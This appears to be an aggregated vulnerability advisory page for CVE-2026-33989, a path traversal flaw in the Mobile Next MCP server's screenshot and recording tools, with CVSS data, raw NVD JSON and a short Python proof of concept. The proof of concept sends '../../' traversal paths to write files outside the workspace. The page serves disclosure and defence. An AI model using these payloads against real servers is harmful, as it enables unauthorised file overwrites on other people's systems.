Security Vulnerability Report
中文
CVE-2026-33989 CVSS 8.1 HIGH

CVE-2026-33989

Published: 2026-03-27 22:16:23
Last Modified: 2026-03-31 21:52:34

Description

Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. Version 0.0.49 fixes the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mobilenexthq:mobile_mcp:*:*:*:*:*:node.js:*:* - VULNERABLE
@mobilenext/mobile-mcp < 0.0.49

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # PoC for CVE-2026-33989: Path Traversal in Mobile Next MCP Server # Target: @mobilenext/mobile-mcp < 0.0.49 # This script demonstrates writing a file outside the intended workspace. TARGET_URL = "http://localhost:3000/call_tool" # Example MCP endpoint payload = { "tool": "mobile_save_screenshot", "arguments": { # Using path traversal sequences to write to a sensitive location "saveTo": "../../tmp/malicious_file.txt", "data": "bWUtYW5kcm9pZC1hdXRvbWF0aW9uLnBvYw==" # Base64 encoded dummy data } } # Alternative payload for screen recording # payload = { # "tool": "mobile_start_screen_recording", # "arguments": { # "output": "../../etc/config_override.json" # } # } try: response = requests.post(TARGET_URL, json=payload) if response.status_code == 200: print("[+] PoC executed successfully. File likely written outside workspace.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33989", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:22.950", "lastModified": "2026-03-31T21:52:33.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. Version 0.0.49 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mobilenexthq:mobile_mcp:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.0.49", "matchCriteriaId": "BE5CFF3D-EA63-4D6D-97F5-287A5C4DCFFB"}]}]}], "references": [{"url": "https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}